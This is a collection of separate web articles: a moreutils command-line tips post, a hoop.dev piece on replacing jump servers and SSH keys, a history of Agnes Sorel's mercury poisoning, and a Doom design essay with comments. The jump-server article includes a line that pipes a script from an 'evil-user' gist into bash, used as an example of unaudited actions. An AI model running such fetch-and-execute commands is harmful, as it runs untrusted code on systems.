It seems no matter how long I work with the command line, every once in a while I find handy utilities I've never encountered before. Most people have heard about ~~the bird~~ coreutils, that's where utilities such as `echo` , `cat` , and others come from. But did you know about moreutils? Say I want to trace every program invocation (~*exec()*) on the system. I can do that with `execsnoop` from the BPF Compiler Collection. ``` `````` # execsnoop ls 1586 1401 0 /usr/bin/ls --color=auto -F git 1587 1401 0 /usr/bin/git rev-parse ... ``` Apparently every time I touch a terminal, it runs Git to determine whether I'm within a Git repository just so that it can show me the current branch in the prompt. Surely that doesn't slow things down. What it doesn't show me is the time of the invocation though. I can easily add it with `ts` . ``` `````` # execsnoop | ts Dec 19 12:39:25 ls 1791 1401 0 /usr/bin/ls --color=auto -F Dec 19 12:39:25 git 1792 1401 0 /usr/bin/git rev-parse ... ``` I now realize that `execsnoop` does have the `-T` flag which adds invocation times so there's no need for `ts` in this case but I've already written these examples so yeah. `ts` can also convert time stamps into relative times. This is especially handy when looking through log files. ``` `````` $ journalctl --since yesterday --priority emerg..warning Dec 18 19:30:47 vm sudo[5068]: user: 3 incorrect password attempts $ journalctl --since yesterday --priority emerg..warning | ts -r 18h7m ago vm sudo[5068]: user: 3 incorrect password attempts ``` Have you ever wanted to modify a file, save the result into the same file, and got quickly disappointed with the result? ``` `````` $ echo 1\n3\n2 > file.txt $ sort file.txt > file.txt $ wc -l file.txt 0 file.txt # empty ``` Remember, it is the shell which is responsible for redirecting the output, not the individual commands. In this case, when the shell sees *> file.txt*, it opens `file.txt` for writing (or creates it if necessary). Crucially, it also opens the file with the `O_TRUNC` flag which instantly truncates (empties) the file. When `sort` later opens the file to do the actual work, it finds the file empty and exits. The most common workaround is to first redirect the output to a temporary file and then move it back to the original name. And that's exactly what `sponge` does behind the scenes for you. ``` `````` echo 1\n3\n2 > file.txt sort file.txt | sponge file.txt ``` Interestingly, some of the commands from `coreutils` have a "-o" flag. I could have just written `sort -o file.txt file.txt` . Oh well. This is probably what I use most often. Running `vidir` opens your `$EDITOR` or `$VISUAL` with files / directories of the specified directory (or the current directory) and allows you to edit them. If you change the name, it will rename it. If you delete a file row, the file gets deleted. To delete an entire directory with everything in it, delete its row and all sub entries. ``` `````` vidir *.pdf fd -t f | vidir - ``` What if you've made so many great changes that you want to just quit the editor without applying any of them? You just need to quit the editor with exit code `1` . In Vim / Helix you do that with `:cq` . This by the way works in pretty much all cases where a command invokes your editor (e.g. when writing a commit message). If your distribution doesn't provide `moreutils` , there's also `qmv` from renameutils. This is a bit dirty but can be useful sometimes. Imagine you want to process a bunch of files but cannot get the damned file name regex right and so you have a few extra files in the output. You could just write the output to a file, edit it, and continue from there but there a more fragile option - edit the output right between the pipes! ``` `````` fd | vipe | ... ``` In this case, the output from `fd` will be buffered by `vipe` and passed to your configured text editor. You can make any changes you want and once you quit, the data will be passed down the pipe if any. The downside is that if you want to run the command again, you will need to also edit output again. It's probably a better idea to just write it into a file. At least in this scenario. I'm going to mention this not because I have an actual use case for this but just because it took me a second to realize what it actually does. `pee` takes its stdin and passes it to all commands given as arguments. It then gathers their output and sends that as its own output. It runs the commands using popen, so it's actually passing them to `/bin/sh -c` (which on most systems is a symlink to Bash). ``` `````` $ echo "Alice" | pee "xargs echo Hello" "xargs echo Hi" Hello Alice Hi Alice ``` I think those are all the commands I regularly use / I've used. There are more available, such as `chronic` (print output only if the command failed) or `ifne` (run command only if there's non empty stdin) but I haven't needed them yet. Besides more commands in `moreutils` , there are even more of these command sets such as evenmoreutils or num-utils.

2024-10-12 00:00:00

2023-12-19 00:00:00

https://hoop.dev/blog/jump-servers/

How to Replace Jump Servers & SSH Keys With JWT Tokens

Sandro Mello

# How to Replace Jump Servers & SSH Keys With JWT Tokens Today we're going to talk about how jump servers work and how hoop can be a great alternative to them. Jump Servers are nodes that will grant access to your underline infra-structure services. Imagine that someone from your company need to access a database or an application inside your internal infra-structure. Instead of allowing anyone in the internet to access these services, the bastion host acts as a central instance to access them securely. The problem begins when things start to scale. - Jump Servers must be able to reach to a certain private network and this requires specific configuration for each environment; - Nodes must be updated with the latest security patches, since it's open to internet; - Burden of managing SSH keys of users throughout all nodes. Rotation is required when someone leaves or enter the organization; - Role management requires managing sudoers files, making sure file system permissions are properly configured and users are within their proper groups; - Nodes must be updated with the tooling necessary to interact with internal services. - Keep a list of updated services (DNS) available to interact with it Administrators interact with these servers often using automation tools like terraform, packer, ansible. Usually, infrastructure enginners are a scarce team and keeping all these components updated are hard to tackle. Over time, these nodes will onboard more users and tooling, which will increase the complexity over managing these resources. Nodes must have a list of services available for users to interact with them. It could be a static file, a known dns name or a documentation about how to interact with these servers and how to reach them. If SSH keys aren't rotated properly, nodes may be vulnerable to exploits. Often, this requires additional modules or services to help on keeping keys safely rotated. SSH has a lot of advanced features which aren't well known to users. In some scenarios, a user may leak his own private key, storing it in the bastion to jump to other internal nodes. Due to the lack of knowledge of how SSH works. ``` $ ssh bob@jump-server $ echo '<USER-PRIVATEKEY>' > ~/.ssh/id_rsa $ ssh bob@internal-node ``` Allowing users to jump to internal nodes, requires tracking their changes to internal systems. It's very hard to track how users interact with these services and what exactly is being executed. ``` # SSH Agent Forwarding $ ssh -A bob@jump-server $ ssh bob@internal-node $ curl https://gist.github.com/evil-user/evil-script | bash ``` Auditing and limiting how users access internal services is also a problem, additional solutions are required to narrow down their scope in jump servers. ### How about User Experience? Developers interact with jump servers using a ssh-client, which has the capability of interacting and exposing internal services. However, this tool isn't trivial to use and users tend to misuse or not use the full potential of it, due to its lack of user experience. Extracting data from a specific internal service may not seem something trivial at first, depending on how you access it. Let's suppose that this service is in another server. An SSH connection needed to be made to the jump server and them to the other one. The last step is executing a command to dump the contents to a file. This task could be made with scp, which can copy the contents to your local machine. - Connect to the jump server forwarding the ssh key; - Connect to the internal server and execute a script; - Copy the contents of the output to the jump server using scp and exit from the jump server - Use scp in your local machine to copy the file from the jump server ``` $ ssh -A bob@jump-server $ ssh bob@internal-server '/usr/local/bin/myscript.sh > output.csv' $ scp bob@internal-server:output.csv . && exit $ scp bob@jump-server:output.csv . ``` The example above is the naive approach to solve this problem. It's up to the user to discover more clever ways to copy files from internal nodes through a jump server. To forward ports locally, an SSH tunneling could be created to access services in a local machine. ``` $ ssh -N bob@jump-server -L 8080:internal-web-server:3000 ``` Depending on which services are exposed, there isn't an easy way to have a more local experience. Sometimes, users are required to interact with internal services within a jump server, limiting their user experience. To interact with any internal service, a user also needs to known in advance the name of the DNS for internal services and which ports are available ``` $ ssh -A bob@jump-server $ ssh bob@???? ``` All these interactions leaves traces in those systems, which is a problem to organizations. A file containing sensitive data copied from an internal server, or even a password persisted in a `/tmp/` directory could leak in this shared environment. ### How hoop can help While operators still need to grant access to the underline infra-structure with hoop, this process is more straightforward in most of the cases. Instead of managing bastion servers and all the tools inside of it, operators take care of managing agents, that has all the necessary tooling and primitives to interact with any infra-structure. Authentication is integrated with SSO, allowing security administrators to suspend access to users directly in their own identity platform system. The process of managing SSH keys, user roles, sudoers files, name servers of bastions and internal services are now gone. Operators just need to deploy agents in their internal network infra-structure and manage connections resources granting granular access to individual services. For each service exposed, operators have the capability to enable certain plugins that allows modifying certain aspects of a connection like: auditing, redacting, append commands or any available metadata. For developers, it decreases the amount of tooling required to interact with internal services improving the user experience. Now developers interact directly with the things that really matter for them to perform their daily tasks in a single interface. Instead of jumping through a bunch of hosts in a bastion via SSH. - Connect to a postgres instance in a local port ``` $ hoop connect postgres-prod ``` - Port Forward an internal API ``` $ hoop connect my-internal-api -p 8000 ``` - Create an interactive rails console or django session ``` $ hoop connect rails-console-homolog $ hoop connect django-prod ``` - Execute a script directly to a rails application ``` $ hoop exec rails-exec-prod <<EOF puts Rails.env EOF ```

Today we're going to talk about how jump servers work and how hoop can be a great alternative to them. Jump Servers are nodes that will grant access to your underline infra-structure services. Imagine that someone from your company need to access a database or an application inside your internal

2024-10-12 00:00:00

2022-12-21 00:00:00

article

hoop.dev

Hoop.dev - the only access gateway with data masking

http://www.ewdn.com/2017/07/13/uber-and-yandex-taxi-to-merge-in-eastern-europe-into-a-3-7-billion-company/

https://crimereads.com/poisoning-agnes-sorel/

Poisoning Agnes Sorel

Eleanor Herman

*AGNES SOREL, MISTRESS of KING* *CHARLES VII of FRANCE, 1422–1450* On a cold winter’s day, twenty-eight-year-old Agnes Sorel, the most beautiful woman in France, lay dying in the tidy stone manor house of the Abbey of Jumièges, some eighty miles northwest of Paris. She often traveled there to give moral support to her lover of many years, King Charles VII of France, in his ongoing campaign against English invaders. But this journey had an added impetus. Though the details are unclear, Agnes urgently wanted to warn the king of a plot against him. Whatever she told him, however, her royal lover didn’t take it seriously. Shortly afterward, she went into premature labor and gave birth to her fourth child with the king. While her other three pregnancies had produced full-term, healthy offspring, this child died soon after. Now, on February 9, 1450, Agnes was tortured by a “flux of the belly”—nonstop diarrhea. After two or three days of agony, she whispered of her ravaged body, “It is a little thing and soiled, and smelling of our frailty,” and closed her eyes forever. Rumors flew immediately that the Lady of Beauty, as Agnes was known, had been poisoned. If she had died of a “bloody flux”—hemorrhaging of the uterus, which killed many women after childbirth—suspicions of foul play would have been dampened somewhat. But fatal dysentery in childbirth was strange. Everyone knew the king’s temperamental son and heir, the future Louis XI, despised his father’s mistress, blaming her for his falling-out with the king and all the ills of the nation. The prince had been in open revolt against his father for four years. But had he, from his exile hundreds of miles away, found a way to poison her? Perhaps. A 2005 exhumation of Agnes’s mortal remains has revealed off-the-charts levels of mercury poisoning—between ten thousand and a hundred thousand times higher than normal. Born into the lesser nobility, as a teen Agnes served as lady-in-waiting to Isabelle of Lorraine at her court in northeastern France. During a visit, King Charles, who had been deeply depressed, was, according to contemporary reports, struck dumb at the sight of Agnes’s stunning beauty. She had golden hair, large, wide blue eyes, and a luscious figure. It was love at first sight—at least, on his part. King Charles was not a man to inspire the tender fancies of lovely girls, and indeed, his only attractive feature was his crown.King Charles was not a man to inspire the tender fancies of lovely girls, and indeed, his only attractive feature was his crown. Small and slight, he wore heavily padded tunics to hide his sunken chest and narrow shoulders, and in an age where crotch-high tunics were the height of fashion, he wisely wore long robes to conceal his knock-knees. His portrait by Jean Fouquet portrays him as a sad circus clown whose pin head rises above a flood of grotesquely padded red velvet. Considering that royal portraits are almost universally flattering, we can only imagine what the poor man really looked like. Nor did he offer charisma, charm, or intellect, those qualities that can render appealing the plainest face and most ungainly figure. His father, King Charles VI, had been a madman who stabbed his friends in fits of paranoid rage, and his mother, Isabeau of Bavaria, was an adulteress who sold out France—and her son—to the English. Sometimes Charles sank under the weight of his heredity, mutating into a morbid sloth unwilling to lift a finger against English invaders. At times his nerves were so frayed he couldn’t bear anyone to look at him. Mistrustful and terrified, he lived in constant fear of assassination. It was the women in his life who roused him from his paralyzing torpor, earning him the nickname “Charles the Well-Served.” Joan of Arc turned the tide of the Hundred Years’ War for him, vanquishing the English. His mother-in-law, Yolande of Aragon, who had raised him since the age of ten, gave him wise counsel. And shrewd Yolande, recognizing the king’s obvious infatuation for Agnes, brought the girl into the royal court to be his mistress, even though he was married to Yolande’s daughter, Marie of Anjou. Agnes—probably coached by Yolande—shook Charles from his bouts of debilitating apathy, giving him strength, decisiveness, and confidence. She persuaded him to appoint sage advisers to deal with the war and the pitiful state of the pillaged French economy. Part of Agnes’s efforts involved promoting French fashion, selling not only the concept of France as a cultured nation, but also marketing its stylish luxury products abroad. Her gowns were daringly low cut, her perfumed trains up to twenty-five feet long. Her clothing was edged with fur, usually ermine, and her hennins—the tall pointy caps of fairy tales—were several feet high. She glittered with diamonds and emeralds. Oddly enough, Agnes was painted as the Virgin Mary, one admirably firm, dazzlingly white breast exposed.Portraits show Agnes following the fashion of plucking the hair around her face to create a larger forehead, and plucking her eyebrows almost entirely off. The earliest surviving portrait of a royal mistress is of Agnes, painted in 1449, a time when secular portraits were not yet common, and many of the rich and famous still bribed church artists to paint their heads on saints. Oddly enough, Agnes was painted as the Virgin Mary, one admirably firm, dazzlingly white breast exposed. Naturally, the pious at court fulminated over the excesses of this fallen woman, as did some nobles. One contemporary wrote, “She displayed in her costumes everything that could lead to ribaldry and dissolute thoughts. She was always desirous of this and stopped at nothing, for she uncovered her shoulders and bosom as far down as the middle of the breast.” Though Agnes clearly reveled in the luxuries of her position, she was known for her kindness. Her five extant letters deal with helping the unfortunate as well as injured animals. Her contemporary, Monstrelet the Chronicler, wrote of her, “So this Agnes was of a very charitable way of life and liberal in alms-giving, and of her possessions she distributed widely to the poor, to the churches and to beggars.” But the king’s son, Louis, cared nothing for her kindness and hated her with all the force of his tempestuous soul. His mother, Queen Marie, didn’t seem to mind Agnes’s hold over the king. Ferret-faced, pious, and the mother of fourteen children, she even stood as godmother to Agnes’s three royal bastards, while Louis bristled with rage at the dishonor. Highly intelligent and a born warrior, at seventeen he took charge of the defense of the Languedoc region in southern France against the English. Impatient to succeed his father, whom he saw as weak and wasteful, he criticized Charles’s policy and excoriated the royal mistress who had far more influence over the king than he did. Louis blamed Agnes for his estrangement with his father. One day in 1444, the prince ran into Agnes in the palace, cried, “By our Lord’s passion, this woman is the cause of all our misfortunes,” and punched her in the face. When the king banished Louis from his presence, the dauphin tried to lead a rebellion that was quickly put down. Charles exiled his son to southeastern France, where he ruled as a sovereign, and ruled well. But he never stopped plotting against his father and set servants to spy on Agnes. When the king sent men to arrest him, Louis jumped out a window and made his way to the court of Burgundy. There he wrote Charles that he would return, but only on the condition that Charles exile Agnes, not a request likely to find favor with the sovereign. The dauphin said to his companions, “The king manages his affairs as badly as possible. I intend to put things in order. When I return, I shall drive away Agnes and shall put an end to all his follies and things will go much better than they are now.” Perhaps it was a new plot of the dauphin’s that Agnes warned King Charles about. And maybe that is why Louis, who had numerous servants of Agnes’s in his pay—and possibly her physician—struck when he did. MODERN POSTMORTEM AND DIAGNOSIS In 2005, a team of twenty-two researchers from eighteen laboratories exhumed the remains of the lovely royal mistress in the church of Saint-Ours, in Loches. Agnes had been first exhumed back in 1777, when the canons of the church decided it was scandalous for a fallen woman to rest in the choir of their church. Though her wooden coffin had rotted and her lead coffin disintegrated, they found her skull in decent condition, with golden hair drawn into a heavy braid in the back with a long lock on either side. She had plenty of teeth, which those present shamelessly yanked from the jaws and pocketed as souvenirs. The bones were swept into a sandstone urn, which was placed under her black marble effigy in the nave of the church. Her remains were rifled once more during the French Revolution when, most likely, any items of jewelry were plundered, as well as several more teeth. The black marble funerary slab over her heart—which had been buried separately from her body—was taken by a butcher who proceeded to use it as a meat-cutting table in his shop. Agnes had been first exhumed back in 1777, when the canons of the church decided it was scandalous for a fallen woman to rest in the choir of their church.The research team found her cranial vault in fair condition with preserved sections of the face, temples, sinuses, and upper jaw. The back of the skull was missing, probably slipped into someone’s pocket. X-rays showed Agnes had a deviated septum and most likely snored. All the teeth in the upper and lower jaw still in place at death had been removed, though seven teeth were mixed in with other remains lower in the urn. They showed little signs of wear, a young age at death, no cavities, low tartar, and a good state of enamel. The team found a jumble of long bones along with bits of mummified muscles, chunks of mummified flesh with hair and eyebrows still attached, and, as the French scientists so poetically put it, “putrefaction juice.” A strange, sweet odor rose from the remains, spooking the researchers. To authenticate the identity of the remains, the team carbon-dated them to the year of her death exactly, 1450. Then, using a computer, a paleopathologist superimposed the skull fragments on the face of Agnes’s effigy, which had been sculpted from life. The researchers found a perfect alignment of the bones with the sculpture: the shape of the chin, the placement of the teeth, the position of her ear canals, the opening of the nostrils, the size of the nasal cavity, and the distance and shape of her eyes all matched. What they didn’t find was the plucking of eyebrows and hairline to the extent shown in her portraits. Artists had exaggerated that fashion. Additional tests confirmed that Agnes had extremely white skin and ate a mixed diet of meat and vegetables. Her hair had been stained black by lead from the deteriorating coffin but cleaned up as blond. And there was no evidence of malaria or any other disease. But scientists did find numerous intestinal roundworm eggs, common enough in that time. Roundworms are intestinal parasites that grow up to ten inches long and live in colonies throughout the digestive tract. Agnes must have suffered from abdominal pain, bloody stool, weight loss, and diarrhea. In the urn, researchers also found remains of a male fern, a plant often combined with small amounts of quicksilver to combat roundworms in the Middle Ages. Clearly, Agnes was receiving treatment for her condition. But when scientists studied Agnes’s hair—from her head, her armpits, and her pubic region—they found mind-boggling concentrations of mercury: ten thousand to one hundred thousand times the normal amount, many thousands of times more than she would have ingested as worm medication. Nor had the mercury been slathered on Agnes as part of the embalming process. The poison was inside her perfectly preserved root sheaths, with no mercury at all on the outside. Researchers determined that Agnes ingested the mercury between forty-eight and seventy-two hours before her death, right around the time she first became ill. Mercury poisoning was most certainly what killed her. Mercury poisoning was most certainly what killed her.Scientists examining the mush in the bottom of the urn discovered that during embalming, Agnes’s abdominal cavity had been filled with grains, berries, aromatic spices, black pepper, fragrant leaves, and mulberry twigs. This was the source of the strange aroma sweetening the air as soon as they opened the urn. They also found the tiny bones of an infant of seven months’ gestation. They could not determine if mercury poisoning caused the premature birth of the baby, or if Agnes was poisoned during or after labor. What must be certain is that Agnes’s doctor, Robert Poitevin, personal physician to the king and the top medical professional in all France, would never have accidentally given her such a massive and fatal dose of mercury. And physicians, as we know from Cangrande della Scala, are in a unique position to intentionally poison their victims. Their patients trusted them. Kings and queens refrained from using tasters and meekly drank whatever concoctions their physicians handed them or freely offered up their royal rear ends for what they assumed would be a salubrious enema. Naturally, Agnes’s death sparked rumors of poisoning. As the contemporary chronicler Jacques Leclerc wrote in his memoirs, “And they said too that the said dauphin had caused the death of a lady named Agnes who was the fairest woman in the kingdom and greatly in lovewith the king, his father.” But Charles could hardly charge his dashing, popular son and heir with her murder. Without Agnes by his side, the king slipped back into slothful melancholy, rousing himself long enough to arrange brilliant marriages to French aristocrats for his three daughters with Agnes. For a decade after her death, he engaged in wine-soaked orgies in between debilitating bouts of illness. Finally, an infection in his jaw—perhaps from a rotten tooth—caused an abscess to develop in his mouth. The growth swelled to such proportions that the king could no longer eat or drink. Charles VII starved to death in 1461. __________________________________ Adapted from *The Royal Art of Poison: Filthy Palaces, Fatal Cosmetics, Deadly Medicine and Murder Most Foul*, by Eleanor Herman, Copyright © 2018. Reprinted with permission of St. Martin’s Press.

AGNES SOREL, MISTRESS of KING CHARLES VII of FRANCE, 1422–1450 On a cold winter’s day, twenty-eight-year-old Agnes Sorel, the most beautiful woman in France, lay dying in the tidy stone manor house…

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Coelacanth: Lessons from Doom | vector poem

*This post is intended as a companion piece for the release of Arcadia Demade.* A high-minded goal like “expand the boundaries of the medium” doesn’t always mean forging ahead in crazy new unknown directions. Sometimes it means examining lost evolutionary lines in game design – picking up ideas that were abandoned long ago and seeing if there’s any new life in them. The game I keep coming back to in this regard is Doom. Not the 2004 reboot, but “Classic Doom”: Doom 1 and 2, Final Doom, the Master Levels – and its vast universe of user-made content. What can it teach us today? In 1993, the message Doom sent to the videogame world was something like “use cutting edge technology to make something dark, edgy and violent”. The world has changed so much around Doom since then that very little of that original impact comes through to players today – though the industry has inarguably gone on to master the techno-fueled ultra-violence thing! Here’s what I’ve found after many years of enjoying the game and digging ever deeper into its design: **Doom feels more like 1st person Robotron than a modern FPS** When you play Doom today, it doesn’t feel much like you’re controlling a human or moving through real spaces. Try this though: press the TAB key, type IDDT twice and pretend you’re playing Geometry Wars, and the moving triangles are your enemies. This is what Doom’s designers were working from in 1993 – back then, the idea of a first person shooter was barely established, and their closest models for many mechanics were from 2D shooters like Robotron, Berserk and Tempest. This approach echoes throughout Doom’s design. The notion of realism in FPS design wouldn’t appear for another few years, and many decisions were made simply on the basis of being good for abstract shooter gameplay. Partly thanks to this, many parts of Doom’s “game feel” still compare favorably with modern twitch games. Enemy speeds and patterns are very finely tuned, weapon design is strongly orthogonal, player movement has a nice friction to it and level design elucidates all of this. Quake 3 is still considered the pinnacle of arcadey FPS movement and feel, and that lineage starts with Doom – some of the code is even similar. **Doom is about “maneuverability as defense”** In almost every modern FPS, the player moves fairly slowly and a huge proportion of enemies are equipped with instant hit attacks – pistols, machine guns, sniper rifles. This usually puts the player in the role of “damage sponge” – they’re intended to soak up a certain amount of damage from mostly unavoidable enemy attacks, then seek cover and heal up. Halo’s recharging shield makes this mechanic quite explicit – by default, you’re exposed to damage and will die, while seeking cover halts that and completes the basic cycle of any combat. Contrast all this with Doom Guy, who runs at about 50 scale miles per hour – *nonsensically* fast by modern standards. Most of Doom’s enemies don’t have instant-hit projectile attacks, and most of the ones that do are quite weak – the lowly trooper and sergeant. Every other enemy projectile takes time to reach its target, and would look comical in a more realistic visual presentation. So because the player moves so quickly in Doom, and because most enemy attacks are dodgeable, the player can avoid a significant amount of damage simply by moving. A skilled player can often deal with large numbers of enemies sustaining hardly a scratch. This creates a feeling that’s quite rare in modern FPS: that you are powerful *because you are agile*, not because you’re a tank. This frees up Doom’s encounters to feature huge numbers of enemies, to vary scenarios by mixing in different proportions of threats, and to have huge, sprawling, often non-linear spaces that the player can traverse easily. There’s nothing quite like it today. **Doom has a more varied bestiary than most modern FPSes** In many modern FPSes, the design of every enemy the player faces is sampled from a fairly narrow tactical spectrum – soldier with machine gun, soldier with shotgun, zombie with melee attack. Doom, on the other hand, has a huge range of monster sizes, speeds, strengths and movement/attack patterns. Former humans and imps are slow moving ranged fodder. Hell Barons are large, tank-like threats. Flying enemies range from the small charging Lost Soul to the tough, fireball-belching Cacodemon. Revenants and Mancubi launch homing and spread-fire projectiles respectively, and the three boss-class monsters are each very dangerous in different ways. Some enemies can be stunned by weapon fire more easily than others. Such diversity creates a large but simple to understand toolset that level design can combine with architecture to create a huge variety of combat setups. One tough guy with a lot of fodder means the player has to do crowd control while focusing on the real threat. Lots of flying enemies make the player seek low cover and choke points. Enemies with strong melee in tight spaces make the player dance and really exploit the stun properties of their weapons. This versatility of the core design makes life easier and more fun for the level designer, and thus the player. **Doom was abstract in ways that empowered its level design** While some of Doom’s levels have a very thin fiction via their title (eg “Hangar”) and general texturing theme, if you actually explore them you find they only resemble real locations in the loosest sense possible. This is precisely what allowed Doom’s level design to present a wide variety of interesting tactical setups. Level designers didn’t have to worry about whether a change made something look less like a hangar or a barracks, just whether it was better for gameplay. This was especially critical for a style of game that was just finding its feet in 1993. As the march of technology has allowed ever-higher graphical fidelity, virtually every FPS since Doom has attempted greater and greater representationalism with its environments. While games like System Shock began to show that a real sense of place can be a huge draw in itself, designers of such games will always have to manage the tension between compelling fiction and optimal function, unless you are willing to go all out and have the kind of weird, abstract spaces Doom has. I would love to see more modern games break with this conventional wisdom and see where it leads, if only in an indie or experimental context. **Doom enabled a revolution in player-generated content** Though advanced for its day, Doom’s technology was still simple enough, and its content low-fidelity enough, that a huge mod community coalesced around it to produce an unparalleled number of levels, mods, total conversions and other addons. This, combined with the fact that the player base was so focused on a single game, means we’ll probably never see something like it again. The lesson for future games might be this: make your technology extremely simple, easy to modify, ship it with a diverse enough pool of content that people can extend it to create a variety of settings and styles, and promote the sharing of this content as a way to add value to your game. Many PC games have gotten all that right but failed to attract a huge community because of the content fidelity issue. The barriers to entry facing someone who wants to make a mod for Unreal Tournament 3 today are vastly higher than those facing a Doom modder. You can rough out a Doom map in a few hours and finish it in a few days, while that same amount of time might produce a single texture for a modern game. Again, this is something we could branch out from if we lose our fixation on technology and high fidelity visuals uber alles. Another unique side effect of Doom’s simplicity is that its design principles can be synthesized and expressed procedurally. Level generators for more modern games have been attempted and abandoned, while the Oblige random level generator creates a decent Doom level with proper combat and resource balance, key gating and architectural themes. **Doom is one of many classics whose less obvious qualities are seldom revisited** Doom’s impact has faded, and its precise recipe for success is unlikely to be replicated; nevertheless, the game industry has become quite adept at mimicking its superficial qualities. However we as creators and critics owe it to ourselves to look at Doom, and other classics of comparable depth – M.U.L.E., Ultima IV and Star Control II are a few examples I would offer – and trace less-traveled paths of analysis in search of deeper truths. Sometimes we must look to the past for guidance. Other times we must strive to forget it entirely. In the balance of both, we will find much to learn about making the games of tomorrow. Addendum: Not sure if he even remembers it, but Nathan McKenzie made some observations on Doom about 7 years ago now(!) that set my wheels turning on this post, so I’d like to thank him for those initial insights. March 8th, 2010 at 11:30 am excellent March 8th, 2010 at 5:10 pm […] […] Vector Poem – Lessons from Doom […] – […] March 10th, 2010 at 9:41 am #41: Doom was the one that invented the “rocket jump”. It was the only way to reach the secret level of the third episode. I can’t really comment about all the other things you mention though. The only reason I have ever heard the name Marathon before your post was because of the excellent Red vs Blue series. Not that I’m trying to diminish Marathon’s importance, it’s just that, at that time, there was only Doom. And then Duke 3D and then we took a step further and produced Quake, the best multi-player FPS ever created. And yes, mouse look is awesome. March 10th, 2010 at 10:37 am Those are some great points. Dodging and maneuvering can often feel stiff and impractical in modern games. And as far as Doom 3 goes. It wasnt bad. It felt very different from the previous games but it wasnt really a bad game. Sure, it was too dark at times and the jump scares got predictable, but it was still pretty fun for me. Personally, i like using the mouse when playing Doom. It feels natural for me to use a mouse for an fps. March 16th, 2010 at 10:06 pm […] neat article by J.P. LeBreton looking back at the design and play style of the original Doom. As J.P. says: Doom feels more like […] March 17th, 2010 at 9:20 am Actually, Marathon wasn’t Bungie’s first FPS. It’s just the one most people mention when this topic pops up. Pathways into Darkness hols that spot. And, for those folks who still claim that Doom was first … Pathways alsocame out in 1993. And as far as my game experiences go, was also superior to Doom. It had an engaging storyline, much more challenging combat (you start with a knife and a .45 but no bullets), and a very complex puzzle system. It’s still one of my favourite games 17 years later, despite the fact that, since it’s never been released on the PC, I haven’t played it for close to a decade, as I no longer own a Mac.Yes, I liked Doom. And its sequels. But Bungie’s Pathways into Darkness and Marathon trilogy will always be much better games in my opinion. March 17th, 2010 at 11:17 am I love analysis of games like this. Reminds me of Action Button Dot Net’s sprawling monumental epic of a review of super mario bros 3. http://www.actionbutton.net/?p=426 March 19th, 2010 at 6:04 am […] Via Ferrett, lessons from Doom, about the old PC […] April 6th, 2010 at 3:40 pm Re: 41 – Not gonna put down Marathon, but did you read the article? The reason why Doom still lasts is BECAUSE it doesn’t have all the complicated things that Marathon has. – Doom doesn’t have an oxygen meter, which is good IMO. – Doom doesn’t have save points, and I never play games that do (Come on, don’t try passing off Save Points as a GOOD thing). – Doom is quite easily moddable, you know. As for one thing that Doom has that Marathon doesn’t have: Pure action and tactical based game play. Sure, the tactics aren’t very advanced. But they are, as with everything else in Doom: Simple and fun. And damn thrilling. Marathon is a great game. But it’s sort off a different game than Doom. And if you read the article, you’ll see why Marathon isn’t remembered today, whereas Doom is. As for Pathway into Darkness… Nobody ever claimed Doom was first. Some might claim that Wolfenstein 3D was, however. And there were tank sims before that. April 7th, 2010 at 3:02 am “Also, who’s going to buy a 2.5d game like Doom anymore?” You’ve missed those releases: http://www.xbox.com/en-US/games/d/doomxboxlivearcade/ http://itunes.apple.com/us/app/doom-classic/id336347946?mt=8 Nuff said. April 14th, 2010 at 11:54 am I personally believe that popular(not necessarily always good) games of diverse generes are being created & that’s why there is no single king like Doom anymore. You are overestimating the simplicity & abstract style of Doom. Games only become abstract & simple when thay become outdated. Popularity depends on gameplay. Personally I like(fear) the abstract style of Doom, but Doom is more about bloodbath than art. Doom was realistic in its time & HL graphics would have been considered alien at the time Doom 1 was released. I am sure that after the release of Black Mesa HL fans will start to appreciate the simplicity of original HL. The almost empty & featureless BM undergrounds in the original creates an emptiness in stomach that can’t be recreated in photorealistic BMS. Also, modern modders are ready for more powerful tools. The Source engine modding community may not be anywhere near the huge Doom Modding community but still it produces standard mods such as MINERVA, R&D, Dear Esther & BMS itself. Not all of them are shooters. Also, the community is ready for a more modern engine. You have got one more idea wrong about modern FPS & that is HALO Mania. Maybe that is true for the majority of popular games but you are forgetting Counter-Strike:Condition Zero, ArmA II etc not so popular tactical games that do not have health packs & unlimited saves. Instead they have almost realistic injury & dynamic enemy positioning. Also please consider the fact that Counter-Strike is actually a mod of GoldSource engine. Every popular genere has its unique style: secrets, wayfinding & overcoming barriers, puzzles, stealth etc. Those who don’t like shooting move towards Football, chess etc & we need to respect personal choice. I don’t believe Doom was the end of an era. It was the beginning & the magic of Doom may never be recreated because of us having diverse choices but it is useless to lament for that. Golden games are there for those who are interested, as challenging tactical games are taking place of our old favourite vanilla Doom. May 6th, 2010 at 9:02 am Fantastic article, and I agree wholeheartedly with its conclusions. You’re seeing things in perspective that I don’t think we really saw in the thick of it. The gameplay was surprisingly Robotronesque, now that you mention it, but while it was in development, I don’t remember anyone ever mentioning this. It certainly didn’t occur to me, and I wrote the automap and added the cheat codes. While it was in development, we were dreaming about how cool it would be to have an actual bridge you could go both over and under. The irony is that this would dramatically increase the difficulty in developing the game, as we would soon learn in Quake. June 21st, 2010 at 3:00 pm […] LeBreton napsal fantastickou recenzi o hře DooM, často považovanou za otce FPS žánru, v níž zkoumá, co se změnilo a co zůstalo […] September 19th, 2010 at 10:48 am […] Arcadia, I found it very easy to finally distill the insights I’d long understood about Doom’s design. Even though it’s not a game, the process of creating the Ultima IV map viewer helped immerse […] October 7th, 2010 at 6:59 am Nail on the head, for sure. This is why 17 years later DOOM is still my primary, often my only game. Straightforward gameplay and endless mods (especially now that there are good random level generators), and the *feel* is right, whether the map is realistic or not. Other games look better and are more true to life, but are they more fun? Do they hold up over the long haul? Evidently not. October 25th, 2010 at 7:02 pm Hey JP! This post warms my heart. Great stuff, of course. What website was that where we were having that conversation? I’m also in love with the fascinating mechanics of monster pain thresholds vs duration of pain animations (so chaingun is great against cacodaemons because their damage threshold is low but their pain animation is short – that’s practically 2D fighting game-style game design). I can’t remember if we chatted about that, but that interplay between monsters and weapons is beautiful. It’s funny – I had a conversation with Ben Gokey (who was lead programmer on Heretic, of course) about some of this stuff, particularly the movement-as-dodging stuff, and he had the same reaction that Dave Taylor mentions; he totally saw it once I talked it through, but he hadn’t really thought about it when they were making the game. November 5th, 2010 at 6:12 am FANTASTIC article. Especially loved the “maneuverability as defense” part, couldn’t agree more. Someone once asked me what the best weapon in Doom is and, being a bit of a pretentious arse I replied – “space”. Sounds daft but seriously, an experienced player only needs the basic shotgun, a whole load of 